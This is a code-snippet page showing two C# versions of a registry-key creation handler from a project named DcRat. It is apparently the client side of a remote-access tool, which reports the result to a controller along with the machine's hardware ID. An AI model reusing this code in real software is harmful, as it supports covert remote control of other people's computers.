コード例 #1
0
ファイル: RegManager.cs プロジェクト: usama7628674/DcRat
        public void CreateKey(string ParentPath)
        {
            string errorMsg;
            string newKeyName = "";

            try
            {
                RegistryEditor.CreateRegistryKey(ParentPath, out newKeyName, out errorMsg);
                var Match = new RegSeekerMatch
                {
                    Key        = newKeyName,
                    Data       = RegistryKeyHelper.GetDefaultValues(),
                    HasSubKeys = false
                };

                MsgPack msgpack = new MsgPack();
                msgpack.ForcePathObject("Pac_ket").AsString    = "regManager";
                msgpack.ForcePathObject("Hwid").AsString       = Connection.Hwid;
                msgpack.ForcePathObject("Command").AsString    = "CreateKey";
                msgpack.ForcePathObject("ParentPath").AsString = ParentPath;
                msgpack.ForcePathObject("Match").SetAsBytes(Serialize(Match));
                Connection.Send(msgpack.Encode2Bytes());
            }
            catch (Exception ex)
            {
                Packet.Error(ex.Message);
            }
        }
コード例 #2
0
        public void CreateKey(string ParentPath)
        {
            string errorMsg;
            string newKeyName = "";

            try
            {
                RegistryEditor.CreateRegistryKey(ParentPath, out newKeyName, out errorMsg);
            }
            catch (Exception ex)
            {
                Packet.Error(ex.Message);
            }
        }